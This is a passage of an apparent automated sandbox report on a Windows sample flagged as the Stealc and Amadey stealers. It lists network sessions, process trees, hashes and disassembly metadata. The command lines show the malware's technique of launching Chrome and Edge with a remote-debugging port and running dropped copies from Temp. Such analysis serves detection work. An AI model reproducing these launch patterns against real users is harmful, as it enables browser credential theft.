2024-12-06 17:46:11 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:11 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: daf0ea0f-401e-005b-1ad4-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174611Z-1746fd949bdjrnwqhC1EWRpg2800000004f000000000ztug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:12 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 84d9ebed-b01e-0098-5d78-47cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174612Z-1746fd949bdlqd7fhC1EWR6vt000000004s0000000007nst x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:12 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 617fe5a7-b01e-00ab-2861-47dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174612Z-1746fd949bdlnsqphC1EWRurw000000004g0000000000cgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:12 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:12 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:13 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: b15ffdf0-e01e-0051-2acd-4584b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174612Z-1746fd949bdzd2qvhC1EWRcygw00000004b0000000005gqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:14 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: eed2a8f6-b01e-0001-60d2-4546e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174614Z-1746fd949bd6zq92hC1EWRry4800000004kg0000000058he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:14 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 46703850-c01e-002b-03cc-456e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174614Z-1746fd949bdjzh7thC1EWR3g6400000004eg00000000yrdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Target ID:	0
Start time:	12:45:08
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfd0000
File size:	5'205'504 bytes
MD5 hash:	D4476D9DE4FAF2084F474044060CCCC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2731631245.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2731022617.0000000000D18000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:45:18
Start date:	06/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:45:20
Start date:	06/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2720,i,5043221228384178356,12406592722726434342,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:45:29
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:45:29
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2140,i,933805822226142659,7319372801501874733,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:45:29
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:45:30
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2184,i,14553019711621385592,11988501647328471327,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:46:05
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KJJJKFIIIJ.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:46:05
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:46:05
Start date:	06/12/2024
Path:	C:\Users\user\Documents\KJJJKFIIIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\KJJJKFIIIJ.exe"
Imagebase:	0xdf0000
File size:	3'283'968 bytes
MD5 hash:	1E56CDAE7CE19C602053F77FC496F4F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.2782020119.0000000000DF1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:46:08
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x600000
File size:	3'283'968 bytes
MD5 hash:	1E56CDAE7CE19C602053F77FC496F4F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2822492083.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:46:08
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x600000
File size:	3'283'968 bytes
MD5 hash:	1E56CDAE7CE19C602053F77FC496F4F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2825585502.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:47:00
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x600000
File size:	3'283'968 bytes
MD5 hash:	1E56CDAE7CE19C602053F77FC496F4F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.3389172287.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9435A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CF688,00001000), ref: 6C9435D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9435E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9435FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C94363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C94369F
__aulldiv.LIBCMT ref: 6C9436E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C943773
EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C94377E
LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C9437BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9437C4
EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C9437CB
LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C943801
__aulldiv.LIBCMT ref: 6C943883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C943902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C943918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C94394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C9435DB
GTC, xrefs: 6C943912
GenuntelineI, xrefs: 6C943639
AuthcAMDenti, xrefs: 6C943946
QPC, xrefs: 6C9438FC

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 1fcb96a5e4391191d3f9f03b77d6f199ef7840dd6f7d11c237b1c08782ba0a56
Instruction ID: c1339c64c0ca72303d26456c6f3c8558b87744ab0b0eb962c5ef0c0c44d53dab
Opcode Fuzzy Hash: 1fcb96a5e4391191d3f9f03b77d6f199ef7840dd6f7d11c237b1c08782ba0a56
Instruction Fuzzy Hash: 6DB1A471B0D3109BDB08DF38C55561ABBF9FB8A704F25892EE899D3790D730DA008B92

Function 6C95C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C95C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C95C969
GetSystemInfo.KERNEL32(?), ref: 6C95C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C95C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C95C9E2

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 70e542b0c01fab2fb1908c5e6ab3653d1ff4532a6abc98cd1f9a7fa492069a36
Instruction ID: 9cad03967fe9529d88924d608f60494f53451f6880271c25c5577cacfe575d7f
